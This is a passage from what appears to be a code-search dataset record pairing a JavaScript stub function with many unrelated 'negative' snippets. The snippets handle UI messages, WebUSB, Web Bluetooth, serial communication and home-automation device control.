'абонентов'];\\n\\n function createMessage(number, startWord) {\\n let endMessage = null;\\n let startMessage = (number === 1) ? startWord : (startWord + \\\"o\\\");\\n\\n if(number === 1) {\\n endMessage = messageArr[0];\\n } else if (number == 12\\n || number == 13\\n || number == 14) {\\n\\n endMessage = messageArr[2];\\n } else if( number.toString()[number.toString().length - 1] === '2'\\n || number.toString()[number.toString().length - 1] === '3'\\n || number.toString()[number.toString().length - 1] === '4') {\\n\\n endMessage = messageArr[1];\\n } else {\\n endMessage = messageArr[2];\\n }\\n\\n return startMessage + \\\" \\\" + number + \\\" \\\" + endMessage;\\n }\\n\\n noty({\\n text: createMessage( (this._correctData.length), 'Загружен'),\\n type: 'success',\\n timeout: '3000'\\n });\\n\\n if(this._inCorrectData.length) {\\n noty({\\n text: createMessage( (this._inCorrectData.length - 1), 'Не загружен'),\\n type: 'error',\\n timeout: '3000'\\n });\\n }\\n }\",\n \"limparMsgAlert() {\\n divMsg.innerHTML = \\\"\\\";\\n\\n\\n }\",\n \"function congratsMessage(){\\n\\tif (matchedCards.length === 16){\\n\\t\\tsetTimeout(function(){\\n\\t\\t\\ttoggleModal();\\n\\t\\t\\t},1000);\\n\\t\\tstopTimer();\\n\\t}\\n}\",\n \"function callbackValidation(msg){\\n swal({\\n title: msg,\\n text: 'por favor revise sus datos',\\n imageUrl: '../assets/img/callback/missing.png',\\n imageHeight: 90,\\n animation: true,\\n confirmButtonColor: '#4fa7f3'\\n })\\n}\",\n \"function warn(msg){\\n\\t\\t\\n\\t\\tflashCount = 0;\\n\\t\\t\\n\\t\\tif ( null == msg ){\\t\\n\\t\\t\\tfaultMsg=\\\"The inverter has faulted!\\\"; \\n\\t\\t\\t$(\\\"#alarmMessage\\\").html(\\\"The inverter has faulted!\\\");\\n\\t\\t} else {\\n\\t\\t\\tfaultMsg=msg;\\n\\t\\t\\t$(\\\"#alarmMessage\\\").html(\\\"FAULTS:\\\"+msg);\\n\\t\\t}\\n\\n\\t\\t$(\\\"#alarm\\\").show();\\n\\t\\tif ( !booFault ) {\\n\\t\\t\\tbooFault = true;\\n\\t\\t\\tscreenFlash();\\n\\t\\t\\tsoundAlarm();\\n\\t\\t}\\n\\t\\t\\n\\n\\t}\",\n \"function mensaje(){\\n\\treturn 'Hola Mundo JavaScript';\\n}\",\n \"function onSendMessage(){\\n var msg = document.getElementById(\\\"usermsg\\\").value;\\n if(msg == \\\"\\\") alert(\\\"assicurati di inserire il testo da inviare\\\");\\n else {\\n if(sex == \\\"lui\\\")\\n msg = \\\"newMsg \\\" + name + \\\": \\\" + document.getElementById(\\\"usermsg\\\").value + \\\"\\\";\\n\\telse\\n msg = \\\"newMsg \\\" + name + \\\": \\\" + document.getElementById(\\\"usermsg\\\").value + \\\"\\\";\\n //alert(msg);\\n connection.send(msg);\\n document.getElementById(\\\"usermsg\\\").value=\\\"\\\";\\n }\\n}\",\n \"function testingMSGS(){\\n \\n}\",\n \"function mensaje(){\\r\\n document.write(\\\"Holissss\\\");\\r\\n document.write(\\\"*************\\\")\\r\\n}\",\n \"function submitMsg() {\\n // only submit messages\\n if(ctrl.inputMsg.length > 0) {\\n SocketService.submitMsg(ctrl.inputMsg);\\n\\n // empty the message box\\n ctrl.inputMsg = '';\\n }\\n }\",\n \"function removeMSG(msg) {\\n setTimeout(function () {\\n var Idx = msg.Msg;\\n var isConf = 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sendToken2Device (unlockToken) {\n\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["async function RequestUSBDevice() { \n await navigator.usb.requestDevice({ filters: [{}] });\n}","async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\n\n try {\n var device = deviceInfo.device;\n\n await device.open();\n //await device.reset();\n\n if (device.configuration === null) {\n await device.selectConfiguration(1);\n }\n\n\t\tawait device.claimInterface(0);\n\t\t\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\n abyBlyncUsb30ReportBuffer[7] = 0x22;\n\n var result = await device.controlTransferOut( \n {\n requestType: 'class',\n recipient: 'interface',\n request: 0x09,\n value: 0x0200,\n index: 0x0000\n },\n abyBlyncUsb30ReportBuffer);\n\n await device.close();\n } catch (e) {\n console.log(\"Exception: \" + e);\n }\n}","respondToArduino(command){\n BluetoothSerial.write(command)\n .then((res) => {\n console.log(res, command)\n })\n .catch((err) => console.log(err.message))\n }","requestUsb() {\n return new Observable(observer => {\n navigator.usb.requestDevice({ filters: [] })\n .then((result) => {\n this.vendorId = result.vendorId;\n this.productId = result.productId;\n return observer.next(result);\n }).catch(error => {\n return observer.error(error);\n });\n });\n }","async function uBitOpenDevice(device, callback) {\n const transport = new DAPjs.WebUSB(device)\n const target = new DAPjs.DAPLink(transport)\n let buffer=\"\" // Buffer of accumulated messages\n const parser = /([^.:]*)\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\n \n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\n buffer += data;\n let firstNewline = buffer.indexOf(\"\\n\")\n while(firstNewline>=0) {\n let messageToNewline = buffer.slice(0,firstNewline)\n let now = new Date() \n // Deal with line\n // If it's a graph/series format, break it into parts\n let parseResult = parser.exec(messageToNewline)\n if(parseResult) {\n let graph = parseResult[1]\n let series = parseResult[2]\n let data = parseResult[3]\n let callbackType = \"graph-event\"\n // If data is numeric, it's a data message and should be sent as numbers\n if(!isNaN(data)) {\n callbackType = \"graph-data\"\n data = parseFloat(data)\n }\n // Build and send the bundle\n let dataBundle = {\n time: now,\n graph: graph, \n series: series, \n data: data\n }\n callback(callbackType, device, dataBundle)\n } else {\n // Not a graph format. Send it as a console bundle\n let dataBundle = {time: now, data: messageToNewline}\n callback(\"console\", device, dataBundle)\n }\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\n firstNewline = buffer.indexOf(\"\\n\") // See if there's more data\n }\n });\n await target.connect();\n await target.setSerialBaudrate(115200)\n //await target.disconnect();\n device.target = target; // Store the target in the device object (needed for write)\n device.callback = callback // Store the callback for the device\n callback(\"connected\", device, null) \n target.startSerialRead()\n return Promise.resolve()\n}","async send_cmd(cmd, options={}) {\n const data = options.data;\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\n\n if (!this.device || !this.device.opened) {\n this.log(\"error: device not connected.\\n\", \"red\");\n this.log(\"Use button to connect to a supported programmer.\\n\", \"red\");\n return Promise.reject(\"error: device not opened\");\n }\n\n const opts = {\n requestType: \"vendor\",\n recipient: \"device\",\n request: 250,\n value: this.CMD_LUT[cmd],\n index: cmdIndex\n };\n\n // transfer data out\n const res = data\n ? await this.device.controlTransferOut(opts, data)\n : await this.device.controlTransferOut(opts);\n\n // sleep for a bit to give the USB device some processing time leeway\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\n\n return this.device.controlTransferIn({\n requestType: \"vendor\",\n recipient: \"device\",\n request: 249,\n value: 0x70,\n index: 0x81\n }, 64).then(result => {\n return textDecode\n ? (new TextDecoder()).decode(result.data)\n : result.data.buffer;\n });\n }","function sendCompleted(usbEvent) {\n\tif (chrome.runtime.lastError) {\n\t\tconsole.error(\"sendCompleted Error:\", chrome.runtime.lastError.message);\n\t}\n\n\tif (usbEvent) {\n\t\tif (usbEvent.data) {\n\t\t\tvar buf = new Uint8Array(usbEvent.data);\n\t\t\tconsole.log(\"sendCompleted Buffer:\", usbEvent.data.byteLength, buf);\n\t\t}\n\t\tif (usbEvent.resultCode !== 0) {\n\t\t\tchangeState(state.connected);\n\t\t\terrorln(\"Error writing to device: \" + chrome.runtime.lastError.message);\n\t\t}\n\t}\n}","async getRequestDeviceInfo() {\n const outputReportID = 0x01;\n const subcommand = [0x02];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n\n return new Promise((resolve) => {\n const onDeviceInfo = ({ detail: deviceInfo }) => {\n this.removeEventListener('deviceinfo', onDeviceInfo);\n delete deviceInfo._raw;\n delete deviceInfo._hex;\n resolve(deviceInfo);\n };\n this.addEventListener('deviceinfo', onDeviceInfo);\n });\n }","function send(data) {\n\n if(MODE == MODES.TEST) {\n ws.send(data);\n } else if(MODE == MODES.BLUETOOH) {\n\n var data = new Uint8Array(1);\n data[0] = data;\n\n ble.write(id, serviceId, serviceName, data.buffer, function() {\n console.log(\"ble -> sendSucess\");\n }, function(err) {\n console.log(\"ble -> sendFailure : \" + JSON.stringify(err));\n });\n\n }\n\n}","function readRHUSB() {\n port.write(\"PA\\r\\n\");\n}","function processDeviceCommand(request, response) {\n\t\n\tvar deviceIP = request.headers[\"tuyapi-ip\"]\n\tvar deviceID = request.headers[\"tuyapi-devid\"]\n\tvar localKey = request.headers[\"tuyapi-localkey\"]\n\tvar command = request.headers[\"tuyapi-command\"] \n\n\t//var respMsg = \"deviceCommand sending to deviceID: \" + deviceID + \" Command: \" + command;\n\tvar respMsg = \"deviceCommand sending to IP: \" + deviceIP + \" Command: \" + command;\n\tconsole.log(respMsg);\n\n\tvar device = new TuyaDevice({\n\t //ip: deviceIP,\n\t id: deviceID,\n\t key: localKey\n\t , issueGetOnConnect: false\n\t});\n\n\tdevice.on('error', error => {\n\t\tconsole.log('Error!', error);\n\t});\n\n\t(async () => {\n\t\tawait device.find();\t \n\n\t\tawait device.connect();\t \n\t\tconsole.log('Connected to device!');\n\t\tlet status = await device.get();\t \n\t\tconsole.log(`Current status: ${status}.`);\t\n\t\tswitch(command) {\n\t\t\tcase \"off\":\t\n\t\t\t\tconsole.log('Setting to false!');\n\t\t\t\tawait device.set({set: false});\n\t\t\tbreak\n\t\t\tcase \"on\":\n\t\t\t\tconsole.log('Setting to true!');\n\t\t\t\tawait device.set({set: true});\n\t\t\tbreak\n\t\t\tcase \"status\":\t\n\t\t\t\tconsole.log('Received status request!');\n\t\t\tbreak\n\t\t}\n\t\tstatus = await device.get(); \t\t \n\t\tconsole.log(`New status: ${status}.`);\t \n\t\tdevice.disconnect();\n\n\t\ttry{\n\t\t\tconsole.log(\"Sending Status to SmartThings:\" +status);\t\n\t\t\tresponse.setHeader(\"tuyapi-onoff\", status);\n\t\t\tresponse.setHeader(\"cmd-response\", status);\n\t\t\tresponse.end();\n\t\t\tconsole.log(\"Status sent to SmartThings:\" +status);\t\n\t\t}catch (err){\n\t\t\tconsole.log(\"Error:\" +err);\t\n\t\t}\n\t})();\t\n}","function bleSend() {\n /* check if the device is connected if true send file*/\n let encoder = new TextEncoder('utf-8');\n\n if(isConnected){\n /* send an erase command so that the file gets started fresh */\n RX_characteristic.writeValue(encoder.encode(\"erase\"));\n for(let a = 0; a<3000; a++){\n console.log(\"\")\n }\n /* get the contents of the editor that is in use */\n let editorContents = editor.getValue();\n /* send the contents to the device */\n //split the editor contents into newlines.\n temp = editorContents.split(/\\n/);\n for(let i=0; idebug: '\" + msg + \"'\");\n\t\t\tbreak;\n\t\t}\n\t\tcase CMD_PING:\n\t\t\tmessageln(\"ping\");\n\t\t\tbreak;\n\t\tcase CMD_VERSION:\n\t\t{\n\t\t\tvar version = \"\" + dv.getUint8(2) + \".\" + dv.getUint8(3);\n\t\t\tmessageln(\"command: Version \" + version);\n\t\t\tbreak;\n\t\t}\n\t\tdefault:\n\t\t\terrorln(\"unknown command\");\n\t\t\tbreak;\n\t}\n\n\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\n}","async function findUSBDevice(event) {\n // STEP 1A: Auto-Select first port\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\n // ports = await getPorts()\n //STEP 1A: GetPorts - Automatic at initialization\n // -Enumerate all attached devices\n // -Check for permission based on vendorID & productID\n devices = await navigator.usb.getDevices();\n ports = devices.map((device) => new serial.Port(device)); //return port\n\n if (ports.length == 0) {\n port.statustext_connect =\n 'NO USB DEVICE automatically found on page load';\n console.log(port.statustext_connect);\n } else {\n var statustext = '';\n if (event.type == 'AutoConnect') {\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\n } else if (event.type == 'Reconnect') {\n statustext = 'RECONNECTED USB DEVICE!';\n }\n port = ports[0];\n try {\n await port.connect();\n } catch (error) {\n console.log(error);\n }\n port.statustext_connect = statustext;\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n }\n }\n\n // STEP 1B: User connects to Port\n if (\n event.type == 'pointerup' ||\n event.type == 'touchend' ||\n event.type == 'mouseup'\n ) {\n event.preventDefault(); //prevents additional downstream call of click listener\n try {\n //STEP 1B: RequestPorts - User based\n // -Get device list based on Arduino filter\n // -Look for user activation to select device\n const filters = [\n { vendorId: 0x2341, productId: 0x8036 },\n { vendorId: 0x2341, productId: 0x8037 },\n { vendorId: 0x2341, productId: 0x804d },\n { vendorId: 0x2341, productId: 0x804e },\n { vendorId: 0x2341, productId: 0x804f },\n { vendorId: 0x2341, productId: 0x8050 },\n ];\n\n device = await navigator.usb.requestDevice({ filters: filters });\n port = new serial.Port(device); //return port\n\n await port.connect();\n\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n } catch (error) {\n console.log(error);\n }\n waitforClick.next(1);\n }\n} //FUNCTION findUSBDevice","function bleConsole(value){\n const y = document.getElementById('serial')\n /* check if the device is connected if true send file*/\n if(isConnected){\n /* need to read the value of the TX_char\n * may need some kind of loop or trigger to watch if new data comes in????\n * not sure what I want to implement for this yet....\n */\n // y.innerText = TX_characteristic.readValue(); TODO does not work\n }else{\n const x = document.getElementById('console');\n x.style.display =\"none\";\n alert(\"MicroTrynkit device not connected. Please pair it first.\");\n }\n\n}","writeLoginControl(data) {\n var arrData = [17,16,0,1,1,];\n const data_send = this.toUTF8Array(data);\n console.log('writeLoginControl_1',data_send);\n for (var i = 0; i < data_send.length; i++) {\n arrData.push(data_send[i]);\n }\n arrData[2] = arrData.length + 1;\n arrData[arrData.length] = this.calCheckSum(arrData);\n\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\n\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\n .then(() => {\n console.log('--writeLoginControl successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginControl failed ',error);\n });\n }","function onData(d){\n var frame,\n generatedData,\n response;\n\n frame = TBus.parse(d);\n\n if(!frame.valid){\n console.log(\"Invalid frame received.\");\n return;\n }\n\n if(!Devices[frame.receiver[0]]){\n console.log(\"Device is not supported.\");\n }\n\n generatedData = Devices[frame.receiver[0]].randomData();\n response = TBus.prepareCommand(frame.sender, frame.receiver, generatedData);\n\n setTimeout(function(){\n /*\n var one,\n two;\n\n one = new Buffer(response.slice(0,5));\n two = new Buffer(response.slice(5,response.length));\n serialPort.write(one);\n setTimeout(function(){\n serialPort.write(two);\n },110);\n */\n serialPort.write(response);\n },0);\n}","enumerate_devices() {\n const filters = {filters: [\n {vendorId: 0x16D0}\n ]};\n\n if (!this.usb) {\n this.log(\"error: WebUSB not supported\\n\", \"red\");\n return;\n }\n\n this.usb.requestDevice(filters)\n .then(dev => this.connect_device(dev))\n .catch(error => {\n if (String(error) === \"SecurityError: Must be handling a user gesture to show a permission request.\") {\n this.log(\"Please click 'Connect Device' on the left toolbar.\", \"black\");\n } else if (String(error) === \"NotFoundError: No device selected.\") {\n this.log(\"Please select a WebUSB device.\", \"red\");\n } else {\n this.log(String(error));\n this.log(\"error: unable to enumerate USB device list\");\n }\n });\n }","function bluetooth(){\n\n if (!navigator.bluetooth) {\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\n }\n const z = document.getElementById('debugger');\n const y = document.getElementById('serial')\n\n if (z.style.display ===\"none\"){\n z.style.display = \"block\";\n }else{\n }\n \n z.innerHTML= z.innerHTML + \"\\n\"+ ('Requesting Bluetooth Devices');\n navigator.bluetooth.requestDevice({\n filters:[{\n name: 'MicroTrynkit',\n }],\n optionalServices: [service]\n })\n .then(device=>{\n z.innerHTML = z.innerHTML + \"\\n\"+ (\"Connected to: \");\n z.innerHTML= z.innerHTML +\"\\n\"+ (\">Name:\" + device.name);\n z.innerHTML= z.innerHTML + \"\\n\"+ (\">id:\" + device.id);\n isConnected = 1;\n bledevice = device;\n return device.gatt.connect();\n })\n .then(server=>{\n bleserver = server;\n return server.getPrimaryService(service);\n })\n .then(service => {\n return service.getCharacteristic(RX_char)\n .then(characteristic => {\n console.log(characteristic);\n RX_characteristic = characteristic;\n return service.getCharacteristic(TX_char);\n })\n })\n .then(characteristic => {\n console.log(characteristic);\n TX_characteristic = characteristic;\n /* add an event listener to the TX characteristic */\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\n console.log(TX_characteristic.readValue());\n })\n .then( value =>{\n /* try to read from the device and print to console */\n // y.innerText = value.getUint8(0);\n // console.log(value.getUint8(0));\n })\n .catch(error=> {\n z.innerHTML= z.innerHTML + \"\\n\"+ (error);\n });\n}","function ble_transmit_cmd(cmd) {\n if(cmd == 0){\n for(var i = 0; i < g_rawcode_length/2; i = i + 1){\n uiProgressBar(g_rawcode_length/2, i+1);\n\n var tx_data = [];\n\n /*\n for(var j = 0; j < 2; j = j + 1){\n tx_data[j] = 0xff & (i >> (8*(1-j)));\n }\n */\n //CMD\n tx_data[0] = 0;\n //index\n tx_data[1] = i & 0xff;\n\n\n for(var j = 0; j < 2; j = j + 1){\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\n }\n\n //freq(0:38k, 1;40k)\n tx_data[4] = 0;\n //Format(0:unknown, 1:NEC, 2:SONY...)\n tx_data[5] = 1;\n\n //Number of Frame\n for(var j = 0; j < 2; j = j + 1){\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\n }\n\n //Data0\n for(var j = 0; j < 4; j = j + 1){\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Data1\n for(var j = 0; j < 4; j = j + 1){\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Transmit\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n }else{\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix - Req\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n}","async function upload( cmd_array, fastspeed = true){\n let fullflag = false\n \n if(cmd_array.length>1){\n fullflag = Boolean(parseInt(cmd_array[1]))\n }\n\n if(fastspeed){\n await blxConnectionFast()\n if(blxErrMsg) return\n }\n\n for(;;){ // Unlock Device (locked in FAST mode)\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\n if (blxErrMsg) break\n\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\n }\n \n await calcMem(true) // With adjust\n if(blxErrMsg) break\n\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\n\n if(blxUserCB) {\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \n }\n \n await updateFile('data.edt', fullflag)\n if(blxErrMsg) break\n\n await updateFile('data.edt.old', fullflag)\n //if(blxErrMsg) break // not needed\n\n break \n } // for\n\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\n await blxConnectionSlow()\n }\n }","function request(value) {\n\t// Init variables\n\tlet src;\n\tlet cmd;\n\n\tswitch (value) {\n\t\tcase 'motor-values' : {\n\t\t\tsrc = 'DIA';\n\t\t\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault : return;\n\t}\n\n\tbus.data.send({\n\t\tsrc : src,\n\t\tdst : 'DME',\n\t\tmsg : cmd,\n\t});\n}","async request() {\n let options = {\n filters: [\n {\n name: \"balenaBLE\"\n }\n ],\n optionalServices: [0xfff0, 0xfff1]\n };\n if (navigator.bluetooth == undefined) {\n alert(\"Sorry, Your device does not support Web BLE!\");\n return;\n }\n this.device = await navigator.bluetooth.requestDevice(options);\n if (!this.device) {\n throw \"No device selected\";\n }\n this.device.addEventListener(\"gattserverdisconnected\", this.onDisconnected);\n }","async function writepumpdurationtoBLE(num){\n console.log('Attempting bluetooth write')\n var arrInt8 = toBytesInt16(num)\n ble.twrite_pumpduration=performance.now()\n try{\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\n console.log(textstr)\n ble.statustext = textstr\n // \n //wdm(textstr)\n }\n catch(error) {\n var textstr = 'Could not write pump duration to ble device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
\" + textstr\n \n }\n}","function sendSerialData() {\n\t\tif (isLoaded()) {\n\t\t\t// Beggining and ending patterns that signify port has responded\n\t\t\t// chr(2) and chr(13) surround data on a Mettler Toledo Scale\n\t\t\tqz.setSerialBegin(chr(2));\n\t\t\tqz.setSerialEnd(chr(13));\n\t\t\t// Baud rate, data bits, stop bits, parity, flow control\n\t\t\t// \"9600\", \"7\", \"1\", \"even\", \"none\" = Default for Mettler Toledo Scale\n\t\t\tqz.setSerialProperties(\"9600\", \"7\", \"1\", \"even\", \"none\");\n\t\t\t// Send raw commands to the specified port.\n\t\t\t// W = weight on Mettler Toledo Scale\n\t\t\tqz.send(document.getElementById(\"port_name\").value, \"\\nW\\n\");\n\t\t\t\n\t\t\t// Automatically called when \"qz.send()\" is finished waiting for \n\t\t\t// a valid message starting with the value supplied for setSerialBegin()\n\t\t\t// and ending with with the value supplied for setSerialEnd()\n\t\t\twindow['qzSerialReturned'] = function(portName, data) {\n\t\t\t\tif (qz.getException()) {\n\t\t\t\t\talert(\"Could not send data:\\n\\t\" + qz.getException().getLocalizedMessage());\n\t\t\t\t\tqz.clearException(); \n\t\t\t\t} else {\n\t\t\t\t\tif (data == null || data == \"\") { // Test for blank data\n\t\t\t\t\t\talert(\"No data was returned.\")\n\t\t\t\t\t} else if (data.indexOf(\"?\") !=-1) { // Test for bad data\n\t\t\t\t\t\talert(\"Device not ready. Please wait.\")\n\t\t\t\t\t} else { // Display good data\n\t\t\t\t\t\talert(\"Port [\" + portName + \"] returned data:\\n\\t\" + data);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t}","function getWeMoData() {\n var wemoHeaders = { \n \"Content-Type\": \"application/json\", \n \"SOAPACTION\": \"urn:Belkin:service:basicevent:1#GetBinaryState\",\n };\n var wemoState = '>' + \n '' +\n \"\" + \n '' + \n \"1 \" + \n \" \" + \n \" \" + \n \" \"\n var wemoOptions =\n {\n \"method\" : \"post\",\n \"headers\" : wemoHeaders,\n \"muteHttpExceptions\": true,\n \"payload\" : wemoState,\n };\n\n var ddnsDevices = [ \"WemoXmas\", \"WemoGazebo\" ];\n props.setProperty( \"weNum\", ddnsDevices.length ); \n \n for (var i = 0; i < ddnsDevices.length; i++) {\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \"URL\") + \"/upnp/control/basicevent1\").getContentText();\n Logger.log(response);\n var wemoJson = JSON.parse(response);\n state = wemoJSON.BinaryState;\n props.setProperties( \"we\" + String(i), state ); \n /* send to ATT M2X*/\n var streams = [ \"we0\", \"we1\", \"we2\", \"we3\" ];\n sendDataATT(ddnsDevices[i], streams);\n logProps(streams);\n }\n \n}","function OpenAVR(device)\n{\n if (device.deviceDescriptor.idVendor != kAtmel ||\n device.deviceDescriptor.idProduct != kEVK1101)\n {\n return; // (not our device)\n }\n\n try {\n device.open();\n device.interfaces[0].claim();\n // find first unused input >= 2\n for (var i=2; ; ++i) {\n if (i < avrs.length && avrs[i]) continue;\n avrs[i] = device;\n device.avrNum = i;\n var endIn = device.interfaces[0].endpoints[0];\n var endOut = device.interfaces[0].endpoints[1];\n endIn.avrNum = i;\n endOut.avrNum = i;\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endIn.timeout = 1000;\n endOut.timeout = 1000;\n // (must install handlers before we start polling)\n endIn.on('data', HandleData);\n endIn.on('error', HandleError);\n endOut.on('error', HandleError);\n endIn.startPoll(4, 256);\n\n // add member function to send command to AVR\n device.SendCmd = SendCmd;\n // send initial command to get AVR serial number and software version\n device.SendCmd(\"a.ser;b.ver\\n\");\n break;\n }\n }\n catch (err) {\n Log('Error opening AVR device');\n }\n}","function sendCommand(device_id, command) {\n\tnew Ajax.Request(\"/controls/sendCommand\", { \n\t\tmethod: \"get\", \n\t\tparameters: { \n\t\t\t\"device_id\": device_id,\n\t\t\t\"command\": command,\n\t\t}\n\t});\t\n}","function send (token, deviceId, payload, cb) {\n\trequest.post({\n\t\turl,\n\t\tbody: Buffer.concat([new Buffer(deviceId, 'hex'), payload]),\n\t\theaders: {\n\t\t\t'Content-Type': 'application/octet-stream',\n\t\t\t'Authorization': 'Token ' + token,\n\t\t},\n\t}, (err, httpResponse, body) => {\n\t\tif (err) return cb(err)\n\n\t\tif (httpResponse.statusCode !== 200) {\n\t\t\treturn cb('Error in ConCaVa (' + httpResponse.statusMessage + '): ' + body)\n\t\t}\n\n\t\tcb()\n\t})\n}","function setupUSBEventHandlers(result) {\n\tconsole.log('App was granted the \"usbDevices\" permission.');\n\tchrome.usb.findDevices(device_info, function(devices) {\n\t\tconsole.log('Found ' + devices.length + ' devices.');\n\t\tif (!devices || !devices.length) {\n\t\t\treturn;\n\t\t}\n\t\tmp_device = devices[0];\n\t\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\n\n\t\tchangeState(state.ready);\n\t});\n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){console.log(\"Got error: \" + e.message); });\n }); \n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){log(\"Got error: \" + e.message); });\n }); \n}","update() {\n\t\tthis.dev.controlTransfer(0xb2, 0x06, 0, 0, 128).then((status) => {\n\t\t\tif(status.length != 128) {\n\t\t\t\treturn this.error(`Status size error. Received: ${status.length}`);\n\t\t\t}\n\t\t\tthis.parseStatus(status);\n\t\t});\n\t}","function sendToSerial(data){\n var objFromBuffer = JSON.parse(data);\n console.log(\"sending to serial: \", objFromBuffer.data);\n if(objFromBuffer.data !== undefined){\n myPort.write(objFromBuffer.data); \n }\n}","function respond(){\n\t\t\t\t\t// flush HTTP response\n\t\t\t\t\tvar bin = responsePacket.serialize();\n\t\t\t\t\t//sys.puts( utils.hex(bin) );\n\t\t\t\t\t//sys.puts( sys.inspect(responsePacket) );\n\t\t\t\t\tres.writeHead( 200, {\n\t\t\t\t\t\t'Content-Type': 'application/x-amf',\n\t\t\t\t\t\t'Content-Length': bin.length \n\t\t\t\t\t} );\n\t\t\t\t\tres.write( bin, \"binary\" );\n\t\t\t\t\tres.end();\n\t\t\t\t}","function WebUSBSerialCommunicator (params) {\n var self = this;\n\n self.debugMode = false;\n if(typeof params !== \"undefined\" &&\n params !== null &&\n typeof params.debug === \"boolean\") {\n self.debugMode = params.debug;\n }\n\n if(typeof params !== \"undefined\" &&\n params !== null &&\n typeof params.device === \"object\") {\n if (params.device.vendorId === FTDI_USB_VENDOR_ID && params.device.productId === FTDI_USB_PRODUCT_ID) {\n this.serial = new WebFTDIUSBSerialPort({\n device: params.device,\n debug: self.debugMode\n });\n } else if (params.device.vendorId === NATIVE_USB_VENDOR_ID && params.device.productId === NATIVE_USB_PRODUCT_ID) {\n this.serial = new WebNativeUSBSerialPort({\n device: params.device,\n debug: self.debugMode\n });\n } else {\n throw new Error(\"Device's vendor ID and product ID do not match a TappyUSB\");\n }\n } else if (typeof params !== \"undefined\" &&\n params !== null &&\n typeof params.serial === \"object\"){\n // 